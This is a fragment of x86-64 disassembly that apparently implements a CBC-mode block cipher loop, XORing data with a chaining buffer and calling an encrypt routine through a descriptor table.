pop rbp
ret
movsxd rax, dword [rbx]
mov qword [rsp + 0x50], r12
lea r12, [0x140053cf0]
lea rcx, [rax + rax*2]
shl rcx, 6
mov r10, qword [rcx + r12 + 0x60]
test r10, r10
je 0x1400130aa
lea rax, [rbx + 0x88]
mov r8d, r11d
lea r9, [rbx + 8]
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rsi
call r10
jmp 0x140013152
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r15
test ebp, ebp
je 0x140013146
nop dword [rax]
xor edx, edx
test r8d, r8d
jle 0x1400130e4
mov r8, rsi
lea rax, [rbx + 8]
sub r8, rbx
movzx ecx, byte [r8 + rax - 8]
inc edx
xor byte [rax], cl
lea rax, [rax + 1]
cmp edx, dword [rbx + 4]
jl 0x1400130d1
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
mov rdx, rdi
lea rcx, [rbx + 8]
lea r9, [rax + rax*2]
shl r9, 6
call qword [r9 + r12 + 0x28]
test eax, eax
jne 0x140013148
xor edx, edx
cmp dword [rbx + 4], edx
jle 0x140013133
mov r8, rdi
lea rcx, [rbx + 8]
sub r8, rbx
nop word [rax + rax]
movzx eax, byte [r8 + rcx - 8]
inc edx
mov byte [rcx], al
lea rcx, [rcx + 1]
cmp edx, dword [rbx + 4]
jl 0x140013120
movsxd r8, dword [rbx + 4]
add rdi, r8
add rsi, r8
sub ebp, r8d
jne 0x1400130c0
xor eax, eax
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x60]
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret